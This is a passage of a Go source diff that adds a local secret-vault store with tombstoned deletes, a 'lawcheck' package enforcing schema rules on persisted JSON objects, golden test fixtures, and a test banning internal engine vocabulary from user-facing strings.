nextStamp for an edit made at a known time. +func stampAt(at time.Time, prev record, doc *vaultDoc) int64 { + return max(at.UnixMilli(), prev.stampOf(doc)+1) +} + +// vaultDoc is the stored object. Stage 0 has no policy: every secret is +// available to the local devices. +type vaultDoc struct { + V uint16 `json:"V"` + Secrets map[string]record `json:"secrets"` + Updated int64 `json:"updated"` // unix ms +} + +// ErrNotFound reports an unknown secret id. +var ErrNotFound = errors.New("keys: no such secret") + +// Vault is the local secret store rooted at a codeaf home. +type Vault struct { + mu sync.Mutex + path string + key []byte +} + +// Open prepares the vault under home, creating the home and the identity on +// first use. The vault seals under the identity's cell key: one root secret. +func Open(home string) (*Vault, error) { + id, err := identity.EnsureSolo(home) + if err != nil { + return nil, err + } + return &Vault{path: filepath.Join(home, "vault.enc"), key: id.CellKey()}, nil +} + +// Exists reports whether a vault has been written under home. Asking does not +// create one. +func Exists(home string) bool { + _, err := os.Stat(filepath.Join(home, "vault.enc")) + return err == nil +} + +// Fingerprint names the vault file's current content, or answers false when no +// vault has been written. The sealed bytes change exactly when the vault does, +// so two equal fingerprints mean nothing new to send. +func Fingerprint(home string) (string, bool) { + raw, err := os.ReadFile(filepath.Join(home, "vault.enc")) + if err != nil { + return "", false + } + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]), true +} + +// Put stores or replaces the secret under id. +func (v *Vault) Put(id string, e Entry) error { return v.PutAt(id, e, time.Now()) } + +// PutAt is Put for an edit that was made earlier than it is being recorded, such +// as a file saved before the vault heard of it. The slot is stamped with the +// time of the edit, so recording an old edit late never beats a newer one that +// another machine has already sent. +func (v *Vault) PutAt(id string, e Entry, at time.Time) error { + return v.update(func(d *vaultDoc) error { + d.Secrets[id] = record{Entry: e, Updated: stampAt(at, d.Secrets[id], d)} + return nil + }) +} + +// Get returns the secret under id. +func (v *Vault) Get(id string) (Entry, error) { + d, err := v.read() + if err != nil { + return Entry{}, err + } + r, ok := d.Secrets[id] + if !ok || !r.live() { + return Entry{}, ErrNotFound + } + return r.Entry, nil +} + +// Deleted reports whether id holds a tombstone, so a reader can tell a secret +// that was removed from one that was never there. +func (v *Vault) Deleted(id string) (bool, error) { + d, err := v.read() + return d.Secrets[id].Deleted, err +} + +// Delete removes the secret under id and leaves a tombstone, so merging with a +// device that still holds the secret does not bring it back. A missing id is +// not an error and leaves nothing. +func (v *Vault) Delete(id string) error { + return v.update(func(d *vaultDoc) error { + prev, ok := d.Secrets[id] + if !ok || !prev.live() { + return errUnchanged + } + d.Secrets[id] = record{Deleted: true, Updated: nextStamp(prev, d)} + return nil + }) +} + +// Entries returns the project's secrets sorted by name, the one stable order +// every reader of the vault shares. +func (v *Vault) Entries(project string) ([]Entry, error) { + d, err := v.read() + if err != nil { + return nil, err + } + var out []Entry + for _, r := range d.Secrets { + if r.live() && r.Scope == project { + out = append(out, r.Entry) + } + } + sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name }) + return out, nil +} + +// IDs lists the ids that start with prefix, in order, the removed ones too: a +// reader that keeps one slot per path needs the paths that were deleted as much +// as the live ones, since a tombstone is what tells it to delete the file. +func (v *Vault) IDs(prefix string) ([]string, error) { + d, err := v.read() + if err != nil { + return nil, err + } + var out []string + for id := range d.Secrets { + if strings.HasPrefix(id, prefix) { + out = append(out, id) + } + } + sort.Strings(out) + return out, nil +} + +// Env returns NAME=value pairs for the project, sorted by name, ready to +// append to an exec environment. +func (v *Vault) Env(project string) ([]string, error) { + entries, err := v.Entries(project) + var out []string + for _, e := range entries { + out = append(out, e.Name+"="+e.Value) + } + return out, err +} + +// ImportDotenv reads a .env file into entries scoped to project. A name +// already stored for that project keeps its id and takes the new value. +func (v *Vault) ImportDotenv(path, project string) (int, error) { + raw, err := os.ReadFile(path) + if err != nil { + return 0, err + } + pairs := parseDotenv(string(raw)) + changed := false + err = v.update(func(d *vaultDoc) error { + for _, p := range pairs { + id, err := idFor(d, p.name, project) + if err != nil { + return err + } + next := Entry{Name: p.name, Value: p.value, Scope: project} + if prev := d.Secrets[id]; prev.Entry != next || !prev.live() { + d.Secrets[id], changed = record{Entry: next, Updated: nextStamp(prev, d)}, true + } + } + if !changed { + return errUnchanged + } + return nil + }) + return len(pairs), err +} + +func idFor(d *vaultDoc, name, project string) (string, error) { + for id, r := range d.Secrets { + if r.live() && r.Name == name && r.Scope == project { + return id, nil + } + } + b := make([]byte, 16) + if _, err := rand.Read(b); err != nil { + return "", err + } + return hex.EncodeToString(b), nil +} + +func (v *Vault) read() (*vaultDoc, error) { + blob, err := os.ReadFile(v.path) + if errors.Is(err, os.ErrNotExist) { + return &vaultDoc{V: 1, Secrets: map[string]record{}}, nil + } + if err != nil { + return nil, err + } + d, err := openDoc(v.key, blob) + if errors.Is(err, ErrOtherKey) && v.adoptStaged() { + return v.read() + } + return d, err +} + +// adoptStaged finishes a reseal that stopped between the identity changing and +// the vault following it: a staged vault that opens under this key replaces the +// live one. It answers whether it did, so a vault that is simply another +// identity's is left alone and reported as it is. +func (v *Vault) adoptStaged() bool { + next := filepath.Join(filepath.Dir(v.path), nextFile) + blob, err := os.ReadFile(next) + if err != nil { + return false + } + if _, err := open(v.key, blob); err != nil { + return false + } + return os.Rename(next, v.path) == nil +} + +// openDoc opens a sealed vault envelope and decodes the document inside. +func openDoc(key, blob []byte) (*vaultDoc, error) { + plain, err := open(key, blob) + if err != nil { + return nil, err + } + var d vaultDoc + if err := json.Unmarshal(plain, &d); err != nil { + return nil, fmt.Errorf("keys: corrupt vault: %w", err) + } + if d.Secrets == nil { + d.Secrets = map[string]record{} + } + return &d, nil +} + +// errUnchanged is what an update function returns when it made no change: the +// vault is then not rewritten and the caller sees no error. +var errUnchanged = errors.New("keys: nothing to write") + +// update applies fn to the stored document and writes it back atomically. +func (v *Vault) update(fn func(*vaultDoc) error) error { + v.mu.Lock() + defer v.mu.Unlock() + d, err := v.read() + if err != nil { + return err + } + if err := fn(d); err != nil { + return ignoreUnchanged(err) + } + d.Updated = time.Now().UnixMilli() + return v.write(d) +} + +// write seals the document and replaces the vault file atomically. The caller +// holds the lock and has already set the document's Updated stamp. +func (v *Vault) write(d *vaultDoc) error { + plain, err := json.Marshal(d) + if err != nil { + return err + } + blob, err := seal(v.key, plain) + if err != nil { + return err + } + return writeAtomic(v.path, blob) +} + +func ignoreUnchanged(err error) error { + if errors.Is(err, errUnchanged) { + return nil + } + return err +} diff --git a/internal/lawcheck/golden.go b/internal/lawcheck/golden.go new file mode 100644 index 0000000000..4ce450aad3 --- /dev/null +++ b/internal/lawcheck/golden.go @@ -0,0 +1,91 @@ +package lawcheck + +import ( + "bytes" + "encoding/json" + "flag" + "os" + "path/filepath" + "reflect" + "testing" +) + +// UpdateFlag registers -update for the test binary that calls it, unless the +// package already has a flag of that name. It is a call, not an init, because +// some packages that import lawcheck define their own -update. +func UpdateFlag() bool { + if flag.Lookup("update") == nil { + flag.Bool("update", false, "rewrite golden fixtures from their samples") + } + return true +} + +func updating() bool { return flag.Lookup("update").Value.String() == "true" } + +// Golden freezes one persisted schema. sample is a fully populated value (every +// optional field set) of the type the build writes; path is its fixture. The +// fixture is the schema's contract in bytes, and three things must hold: +// +// - the build still writes exactly the fixture (the write side is stable), +// - decoding the fixture and encoding it again yields the same bytes (the +// read side loses and reorders nothing), +// - V is the first key (L11). +// +// With -update the fixture is rewritten from the sample; a diff in review is +// then a visible schema change. +func Golden(t testing.TB, path string, sample any) { + t.Helper() + written := mustMarshal(t, sample) + if updating() { + writeFixture(t, path, written) + return + } + golden := bytes.TrimRight(readFixture(t, path), "\n") + if !bytes.Equal(written, golden) { + t.Errorf("%s: the build writes\n%s\nbut the fixture is\n%s\n(rerun with -update if the schema change is intended)", path, written, golden) + } + if again := roundTrip(t, sample, golden); !bytes.Equal(again, golden) { + t.Errorf("%s: decode then encode changed the bytes:\n%s\n%s", path, golden, again) + } + if !VersionFirst(golden) { + t.Errorf("%s: V is not the first key", path) + } +} + +// roundTrip decodes doc into a fresh value of sample's type and encodes it. +func roundTrip(t testing.TB, sample any, doc []byte) []byte { + t.Helper() + fresh := reflect.New(reflect.TypeOf(sample)) + if err := json.Unmarshal(doc, fresh.Interface()); err != nil { + t.Fatalf("decode %T: %v", sample, err) + } + return mustMarshal(t, fresh.Elem().Interface()) +} + +func mustMarshal(t testing.TB, v any) []byte { + t.Helper() + b, err := json.Marshal(v) + if err != nil { + t.Fatal(err) + } + return b +} + +func readFixture(t testing.TB, path string) []byte { + t.Helper() + b, err := os.ReadFile(path) + if err != nil { + t.Fatalf("%v (run with -update to create it)", err) + } + return b +} + +func writeFixture(t testing.TB, path string, doc []byte) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, append(doc, '\n'), 0o644); err != nil { + t.Fatal(err) + } +} diff --git a/internal/lawcheck/lawcheck.go b/internal/lawcheck/lawcheck.go new file mode 100644 index 0000000000..af7b6e64cd --- /dev/null +++ b/internal/lawcheck/lawcheck.go @@ -0,0 +1,159 @@ +// Package lawcheck holds the reusable checkers behind the structural laws +// about persisted objects (docs/ARCHITECTURE.md §13). Each checker takes bytes +// or source and returns findings; an empty result means the law holds. +package lawcheck + +import ( + "bytes" + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "regexp" + "strings" +) + +var windowsDrive = regexp.MustCompile(`^[A-Za-z]:[\\/]`) + +// NoAbsolutePaths returns every string value in the JSON document that looks +// like an absolute path or contains the user's home directory (L1). +func NoAbsolutePaths(doc []byte) []string { + var v any + if err := json.Unmarshal(doc, &v); err != nil { + return []string{"not JSON: " + err.Error()} + } + home, _ := os.UserHomeDir() + var bad []string + walkStrings(v, func(s string) { + if isAbsolute(s) || inHome(s, home) { + bad = append(bad, s) + } + }) + return bad +} + +// NoAbsolutePathsUnder applies [NoAbsolutePaths] to every JSON file (and every +// line of every JSON-lines file) under dir, and answers the findings keyed by +// file path relative to dir. It is L1 for a whole sealed directory: a file the +// build starts writing there is covered without a registration. +func NoAbsolutePathsUnder(dir string) (map[string][]string, error) { + found := map[string][]string{} + err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + docs, err := jsonDocs(path) + if err != nil { + return err + } + rel, _ := filepath.Rel(dir, path) + for _, doc := range docs { + found[rel] = append(found[rel], NoAbsolutePaths(doc)...) + } + return nil + }) + return found, err +} + +// jsonDocs is the JSON documents a file holds: itself for .json, each +// non-blank line for .jsonl, nothing for any other file. +func jsonDocs(path string) ([][]byte, error) { + ext := filepath.Ext(path) + if ext != ".json" && ext != ".jsonl" { + return nil, nil + } + raw, err := os.ReadFile(path) + if err != nil || ext == ".json" { + return [][]byte{raw}, err + } + var docs [][]byte + for _, line := range bytes.Split(raw, []byte("\n")) { + if len(bytes.TrimSpace(line)) > 0 { + docs = append(docs, line) + } + } + return docs, nil +} + +func isAbsolute(s string) bool { + return strings.HasPrefix(s, "/") || windowsDrive.MatchString(s) +} + +func inHome(s, home string) bool { + return len(home) > 1 && strings.Contains(s, home) +} + +func walkStrings(v any, visit func(string)) { + switch x := v.(type) { + case string: + visit(x) + case []any: + for _, e := range x { + walkStrings(e, visit) + } + case map[string]any: + for _, e := range x { + walkStrings(e, visit) + } + } +} + +// VersionFirst reports whether the JSON document begins with the version +// field, so a reader can branch on it before reading anything else (L11). +func VersionFirst(doc []byte) bool { + return bytes.HasPrefix(doc, []byte(`{"V":`)) +} + +// ConstructsType returns the position of every place in src that builds a +// value of the named type: a composite literal, new(T), or a var declaration +// (which yields a zero value). Declaring the type itself is not construction. +func ConstructsType(filename string, src any, typeName string) ([]string, error) { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, filename, src, 0) + if err != nil { + return nil, err + } + var hits []string + ast.Inspect(f, func(n ast.Node) bool { + if e := constructedType(n); e != nil && namesType(e, typeName) { + hits = append(hits, fset.Position(n.Pos()).String()) + } + return true + }) + return hits, nil +} + +// constructedType is the type expression a node instantiates, or nil. +func constructedType(n ast.Node) ast.Expr { + switch x := n.(type) { + case *ast.CompositeLit: + return x.Type + case *ast.ValueSpec: + return x.Type + case *ast.CallExpr: + return newArg(x) + } + return nil +} + +func newArg(c *ast.CallExpr) ast.Expr { + if id, ok := c.Fun.(*ast.Ident); ok && id.Name == "new" && len(c.Args) == 1 { + return c.Args[0] + } + return nil +} + +func namesType(e ast.Expr, name string) bool { + switch x := e.(type) { + case *ast.Ident: + return x.Name == name + case *ast.SelectorExpr: + return x.Sel.Name == name + case *ast.StarExpr: + return namesType(x.X, name) + } + return false +} diff --git a/internal/lawcheck/laws_test.go b/internal/lawcheck/laws_test.go new file mode 100644 index 0000000000..fa4550170f --- /dev/null +++ b/internal/lawcheck/laws_test.go @@ -0,0 +1,245 @@ +package lawcheck + +import ( + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellbudget" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/session" +) + +// ── THE PERSISTED-OBJECT TABLE ────────────────────────────────────────────── +// +// Every object the build writes to disk is one row here. A row is a name and a +// populated sample (every optional field set, so the checks see every key). +// A later lane that adds a persisted type adds ONE row; L1, L11 and the golden +// fixture (testdata/.golden.json, made with -update) then hold for it with +// no other edit. Types this package cannot name (the WAL record, the vault +// envelope) have their row in their own package, through [Golden]. +var _ = UpdateFlag() + +var persisted = []row{ + {"cell.Meta", cell.Meta{ + V: 1, Class: cell.FilesOnly, CellKeyID: "00112233445566778899aabbccddeeff", + Base: &cell.Base{Remote: "https://example.test/repo.git", SHA: "abc123"}, + }}, + {"session.SessionTruth", session.SessionTruth{ + V: 1, LaunchDir: "workspace:cmd", Owned: true, Effort: "high", Approval: "allow", + Places: []session.PlaceRef{{Path: "home:proj", Arrival: session.PlaceSaid}}, + Trees: []session.StandingTree{{Folder: "home:proj", Dir: "session:trees/a", Root: "home:proj", Wrote: []string{"a.go"}}}, + Archived: true, + ArchivedTasks: map[string]bool{"t1": true}, + }}, + {"cellstore.Turn", cellstore.Turn{ + V: 1, ID: "9f2c", Parent: "41ab", MergeParents: []string{"77d0"}, SealedAtMs: 1759049990120, + Quality: cellstore.Quiescent, Trigger: cellstore.Setup, Device: "c0de", Fence: 17, + Receipt: "77d0", ExcludedPaths: []string{"node_modules"}, + }}, + {"cellstore.Receipt", cellstore.Receipt{ + V: 1, Transcript: cellstore.Range{Start: 40213, End: 41877}, + Calls: []cellstore.Call{{Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, Ended: 1759049981940, + Exit: 0, StdoutHash: "0a1b", StderrHash: "e3b0", SideEffect: "local"}}, + Services: []cellstore.ServiceRec{{PID: 4711, Argv: []string{"postgres", "-D", "var/pg"}, Ports: []int{5432}}}, + ModelCalls: []cellstore.ModelCall{{Model: "deepseek/deepseek-v4.1-flash", ParamsHash: "7c7c", + RequestHash: "5a5a", ResponseHash: "b2b2", TokensIn: 5210, TokensOut: 412, CostMicroUSD: 613}}, + }}, + {"cellstore.Receipt.minimal", cellstore.Receipt{V: 1, Calls: []cellstore.Call{}}}, + {"cellstore.Intent", cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "external"}}, + {"inventory.Inventory", inventory.Inventory{ + V: 1, + Tools: []inventory.Tool{{Name: "node", BinaryHash: "3fa9c2", VersionString: "v22.4.0"}}, + Services: []inventory.Service{{Name: "postgres", Version: "16.3", Ports: []int{5432}, DataDir: "var/pg"}}, + Platform: inventory.Platform{OS: "linux", Arch: "amd64"}, Lockfiles: []string{"uv.lock"}, + EnvVarNames: []string{"DATABASE_URL"}, Hints: map[string]string{"devcontainer": ".devcontainer/devcontainer.json"}, + Annotations: map[string]map[string]any{"postgres": {"optional": true}}, + }}, +} + +type row struct { + name string + sample any +} + +// deviceLocal objects never enter a tree, so L1 does not apply to them (the +// budget ledger names the cell's own root); they are frozen all the same. +var deviceLocal = []row{ + {"cellbudget.Entry", cellbudget.Entry{ + V: 1, Root: "/cells/01J", OpenedMs: 1759049981200, Bytes: 4096, MeasuredMs: 1759049990000, + Evicted: &cellbudget.Pointer{Snapshot: "9f2c", AtMs: 1759050000000, Paths: []string{"work"}}, + }}, + {"cellbudget.Entry.resident", cellbudget.Entry{V: 1, Root: "/cells/01J", OpenedMs: 1759049981200}}, +} + +// The sealing package: the one place a Turn may be built (L2). +const ( + sealingPackage = "cellstore" + sealedType = "Turn" +) + +// Directories (relative to the module root) that may not build a Turn outside +// the sealing package. +var turnScope = []string{"internal/cell", "internal/cellstore"} + +func encode(t *testing.T, v any) []byte { + t.Helper() + b, err := json.Marshal(v) + if err != nil { + t.Fatal(err) + } + return b +} + +func TestLawL1NoAbsolutePathsInPersistedObjects(t *testing.T) { + for _, o := range persisted { + if bad := NoAbsolutePaths(encode(t, o.sample)); len(bad) > 0 { + t.Errorf("%s persists absolute paths: %q", o.name, bad) + } + } +} + +func TestLawL11VersionFieldFirst(t *testing.T) { + for _, o := range persisted { + if b := encode(t, o.sample); !VersionFirst(b) { + t.Errorf("%s does not start with {\"V\":: %s", o.name, b) + } + } +} + +func TestCheckersBite(t *testing.T) { + home, _ := os.UserHomeDir() + for _, doc := range []string{ + `{"V":1,"p":"/etc/x"}`, `{"a":["C:\\Users\\x"]}`, `{"a":{"b":"` + home + `/x"}}`, + } { + if len(NoAbsolutePaths([]byte(doc))) == 0 { + t.Errorf("NoAbsolutePaths missed %s", doc) + } + } + if NoAbsolutePaths([]byte(`{"V":1,"r":"https://h/x","p":"a/b"}`)) != nil { + t.Error("NoAbsolutePaths flagged relative values") + } + if VersionFirst([]byte(`{"class":"x","V":1}`)) { + t.Error("VersionFirst accepted V that is not first") + } +} + +func TestNoAbsolutePathsUnderBites(t *testing.T) { + dir := t.TempDir() + write := func(name, body string) { + if err := os.WriteFile(filepath.Join(dir, name), []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + write("clean.json", `{"p":"a/b"}`) + write("bad.json", `{"p":"/etc/x"}`) + write("lines.jsonl", "{\"p\":\"a\"}\n\n{\"p\":\"/etc/y\"}\n") + write("note.txt", "/etc/z") + found, err := NoAbsolutePathsUnder(dir) + if err != nil { + t.Fatal(err) + } + if len(found["bad.json"]) != 1 || len(found["lines.jsonl"]) != 1 || len(found["clean.json"]) != 0 || len(found["note.txt"]) != 0 { + t.Errorf("findings = %v", found) + } +} + +func TestConstructsTypeBites(t *testing.T) { + for _, src := range []string{ + "package p\nvar _ = Turn{}", "package p\nvar _ = &x.Turn{}", + "package p\nvar _ = new(Turn)", "package p\nvar t Turn", + } { + hits, err := ConstructsType("f.go", src, "Turn") + if err != nil || len(hits) != 1 { + t.Errorf("want one hit for %q, got %v %v", src, hits, err) + } + } + hits, _ := ConstructsType("f.go", "package p\ntype Turn struct{}\nfunc f(t Turn) {}", "Turn") + if len(hits) != 0 { + t.Errorf("declaration or use counted as construction: %v", hits) + } +} + +func TestLawL2OneConstructorOfTurn(t *testing.T) { + root := moduleRoot(t) + seen := 0 + for _, dir := range turnScope { + for _, file := range goFiles(t, filepath.Join(root, dir)) { + hits, pkg := constructions(t, file) + seen += len(hits) + if len(hits) > 0 && pkg != sealingPackage { + t.Errorf("%s (package %s) builds %s outside %s: %v", file, pkg, sealedType, sealingPackage, hits) + } + } + } + if seen == 0 { + t.Logf("no %s is built in %v yet: the law passes vacuously and bites once one exists", sealedType, turnScope) + } +} + +func constructions(t *testing.T, file string) (hits []string, pkg string) { + t.Helper() + src, err := os.ReadFile(file) + if err != nil { + t.Fatal(err) + } + hits, err = ConstructsType(file, src, sealedType) + if err != nil { + t.Fatal(err) + } + f, err := parser.ParseFile(token.NewFileSet(), file, src, parser.PackageClauseOnly) + if err != nil { + t.Fatal(err) + } + return hits, packageName(f) +} + +func packageName(f *ast.File) string { return f.Name.Name } + +// goFiles lists non-test Go sources under dir; a missing dir is empty. +func goFiles(t *testing.T, dir string) []string { + t.Helper() + var out []string + err := filepath.WalkDir(dir, func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(p, ".go") || strings.HasSuffix(p, "_test.go") { + return nil + } + out = append(out, p) + return nil + }) + if err != nil { + t.Fatal(err) + } + return out +} + +func moduleRoot(t *testing.T) string { + t.Helper() + dir, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for ; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir + } + } + t.Fatal("go.mod not found") + return "" +} + +func TestGoldenFixtures(t *testing.T) { + for _, o := range append(append([]row{}, persisted...), deviceLocal...) { + t.Run(o.name, func(t *testing.T) { + Golden(t, filepath.Join("testdata", o.name+".golden.json"), o.sample) + }) + } +} diff --git a/internal/lawcheck/testdata/cell.Meta.golden.json b/internal/lawcheck/testdata/cell.Meta.golden.json new file mode 100644 index 0000000000..4b10f71256 --- /dev/null +++ b/internal/lawcheck/testdata/cell.Meta.golden.json @@ -0,0 +1 @@ +{"V":1,"class":"files-only","cell_key_id":"00112233445566778899aabbccddeeff","base":{"remote":"https://example.test/repo.git","sha":"abc123"}} diff --git a/internal/lawcheck/testdata/cellbudget.Entry.golden.json b/internal/lawcheck/testdata/cellbudget.Entry.golden.json new file mode 100644 index 0000000000..385ef8c5db --- /dev/null +++ b/internal/lawcheck/testdata/cellbudget.Entry.golden.json @@ -0,0 +1 @@ +{"V":1,"root":"/cells/01J","opened_ms":1759049981200,"bytes":4096,"measured_ms":1759049990000,"evicted":{"snapshot":"9f2c","at_ms":1759050000000,"paths":["work"]}} diff --git a/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json b/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json new file mode 100644 index 0000000000..a1cbcd70aa --- /dev/null +++ b/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json @@ -0,0 +1 @@ +{"V":1,"root":"/cells/01J","opened_ms":1759049981200,"bytes":0,"measured_ms":0} diff --git a/internal/lawcheck/testdata/cellstore.Intent.golden.json b/internal/lawcheck/testdata/cellstore.Intent.golden.json new file mode 100644 index 0000000000..ed3133c65f --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Intent.golden.json @@ -0,0 +1 @@ +{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"} diff --git a/internal/lawcheck/testdata/cellstore.Receipt.golden.json b/internal/lawcheck/testdata/cellstore.Receipt.golden.json new file mode 100644 index 0000000000..b700077d02 --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Receipt.golden.json @@ -0,0 +1 @@ +{"V":1,"transcript_range":{"start":40213,"end":41877},"calls":[{"tool":"bash","args_hash":"d1f0","started":1759049981200,"ended":1759049981940,"exit":0,"stdout_hash":"0a1b","stderr_hash":"e3b0","side_effect":"local"}],"services":[{"pid":4711,"argv":["postgres","-D","var/pg"],"ports":[5432]}],"model_calls":[{"model":"deepseek/deepseek-v4.1-flash","params_hash":"7c7c","request_hash":"5a5a","response_hash":"b2b2","tokens_in":5210,"tokens_out":412,"cost_micro_usd":613}]} diff --git a/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json b/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json new file mode 100644 index 0000000000..e24036f42c --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json @@ -0,0 +1 @@ +{"V":1,"transcript_range":{"start":0,"end":0},"calls":[]} diff --git a/internal/lawcheck/testdata/cellstore.Turn.golden.json b/internal/lawcheck/testdata/cellstore.Turn.golden.json new file mode 100644 index 0000000000..7f4b743fa7 --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Turn.golden.json @@ -0,0 +1 @@ +{"V":1,"id":"9f2c","parent":"41ab","merge_parents":["77d0"],"sealed_at_ms":1759049990120,"quality":"Quiescent","trigger":"Setup","device":"c0de","fence":17,"receipt":"77d0","excluded_paths":["node_modules"]} diff --git a/internal/lawcheck/testdata/inventory.Inventory.golden.json b/internal/lawcheck/testdata/inventory.Inventory.golden.json new file mode 100644 index 0000000000..4ce4193794 --- /dev/null +++ b/internal/lawcheck/testdata/inventory.Inventory.golden.json @@ -0,0 +1 @@ +{"V":1,"tools":[{"name":"node","binary_hash":"3fa9c2","version_string":"v22.4.0"}],"services":[{"name":"postgres","version":"16.3","ports":[5432],"data_dir":"var/pg"}],"platform":{"os":"linux","arch":"amd64"},"lockfiles":["uv.lock"],"env_var_names":["DATABASE_URL"],"hints":{"devcontainer":".devcontainer/devcontainer.json"},"annotations":{"postgres":{"optional":true}}} diff --git a/internal/lawcheck/testdata/session.SessionTruth.golden.json b/internal/lawcheck/testdata/session.SessionTruth.golden.json new file mode 100644 index 0000000000..c65056949b --- /dev/null +++ b/internal/lawcheck/testdata/session.SessionTruth.golden.json @@ -0,0 +1 @@ +{"V":1,"launch_dir":"workspace:cmd","owned":true,"effort":"high","approval":"allow","places":[{"path":"home:proj","arrival":"said","referred":"0001-01-01T00:00:00Z"}],"trees":[{"folder":"home:proj","dir":"session:trees/a","mode":"","root":"home:proj","cut":"0001-01-01T00:00:00Z","wrote":["a.go"]}],"archived":true,"archived_tasks":{"t1":true}} diff --git a/internal/lawcheck/vocab_test.go b/internal/lawcheck/vocab_test.go new file mode 100644 index 0000000000..65d1d21187 --- /dev/null +++ b/internal/lawcheck/vocab_test.go @@ -0,0 +1,247 @@ +package lawcheck + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "regexp" + "strconv" + "strings" + "testing" +) + +// THE VOCABULARY LAW (docs: anywhere UX lane). A person's machines are +// devices, the verbs are "Move here" and "Continue here", and the words below +// are the engine's, never theirs. The check reads string literals only, so a +// type, a package or a comment may keep the engine's name; what a person can +// read may not. +var bannedWords = regexp.MustCompile(`(?i)\b(relays?|nodes?|leases?|leased|manifests?|takeovers?|take over|took over|taken over|take back|(warm|cold) take|(the|a|your) take)\b`) + +// spelledForTheMachine are the pieces of a string that name a flag or a value +// a person types. They are removed before the check, so the flag stays and the +// sentence around it is still judged. +var spelledForTheMachine = strings.NewReplacer("CODEAF_TASK_BELT=node", "", "--node", "") + +// typedLiterals are whole literals that are a word a person types, a wire name +// or a pattern over an engine message, never a sentence they read. +var typedLiterals = map[string]bool{ + "relay": true, // the `codeaf relay` command word + "nodes": true, // a key of the --json envelope + "node ": true, // the prefix the engine puts on its own error + `^node \d+: `: true, // the pattern that strips that prefix +} + +// uiStringFiles are the tables of text a person reads (module-relative). +var uiStringFiles = []string{ + "internal/chatlist/copy.go", + "internal/pair/serve.go", + "internal/pair/list.go", + "cmd/codeaf/pool.go", + "cmd/codeaf/do.go", + "cmd/codeaf/identity_rotate.go", + "cmd/codeaf/chatv3_at.go", + "internal/tui3/settings.go", + "internal/tui3/wallbar.go", + "internal/tui3/commands.go", + "internal/config/settings.go", + "internal/pair/lines.go", + "internal/remote/driver.go", + "internal/pair/errors.go", + "internal/pair/offer.go", + "internal/pair/join.go", + "cmd/codeaf/pair.go", +} + +func TestVocabularyLawUIStrings(t *testing.T) { + root := moduleRoot(t) + for _, file := range append(uiStringFiles, commandFiles(t, root)...) { + for _, found := range bannedInStrings(t, filepath.Join(root, file)) { + t.Errorf("%s: %s", file, found) + } + } +} + +// commandFiles are every non-test source file of the command, whose usage and +// help text a person reads (module-relative). +func commandFiles(t *testing.T, root string) []string { + t.Helper() + all, err := filepath.Glob(filepath.Join(root, "cmd/codeaf/*.go")) + if err != nil { + t.Fatal(err) + } + var files []string + for _, path := range all { + if !strings.HasSuffix(path, "_test.go") { + files = append(files, "cmd/codeaf/"+filepath.Base(path)) + } + } + return files +} + +// manualPages are manual pages whose fenced blocks quote what the program +// prints (module-relative). The prose around a block may explain the engine; +// the block is what a person sees on the screen. +var manualPages = []string{ + "internal/manual/chat/reaching-this-machine-without-ssh.md", +} + +func TestVocabularyLawManualQuotes(t *testing.T) { + root := moduleRoot(t) + for _, page := range manualPages { + body, err := os.ReadFile(filepath.Join(root, page)) + if err != nil { + t.Fatal(err) + } + for _, found := range bannedInFences(string(body)) { + t.Errorf("%s: %s", page, found) + } + } +} + +// bannedInFences returns each fenced-block line that holds a banned word. +func bannedInFences(body string) []string { + var found []string + inside := false + for i, line := range strings.Split(body, "\n") { + if strings.HasPrefix(line, "```") { + inside = !inside + continue + } + if word := bannedWords.FindString(spelledForTheMachine.Replace(line)); inside && word != "" { + found = append(found, "line "+strconv.Itoa(i+1)+": "+strconv.Quote(word)+" in "+strconv.Quote(line)) + } + } + return found +} + +func bannedInStrings(t *testing.T, path string) []string { + t.Helper() + fset := token.NewFileSet() + tree, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + t.Fatalf("parse %s: %v", path, err) + } + var found []string + for _, lit := range uiLiterals(tree) { + text, err := strconv.Unquote(lit.Value) + if err != nil { + continue + } + if word := bannedWords.FindString(spelledForTheMachine.Replace(text)); word != "" && !typedLiterals[text] { + found = append(found, fset.Position(lit.Pos()).String()+": "+strconv.Quote(word)+" in "+strconv.Quote(text)) + } + } + return found +} + +// uiLiterals are the string literals a person could read: not an import path, +// not a struct tag, and not the bare name of a flag. +func uiLiterals(tree *ast.File) []*ast.BasicLit { + var out []*ast.BasicLit + ast.Inspect(tree, func(n ast.Node) bool { + switch n := n.(type) { + case *ast.ImportSpec: + return false + case *ast.CallExpr: + if isOldSpelling(n) { + return false + } + if isFlagDeclaration(n) { + out = append(out, flagHelp(n)...) + return false + } + case *ast.BasicLit: + if n.Kind == token.STRING { + out = 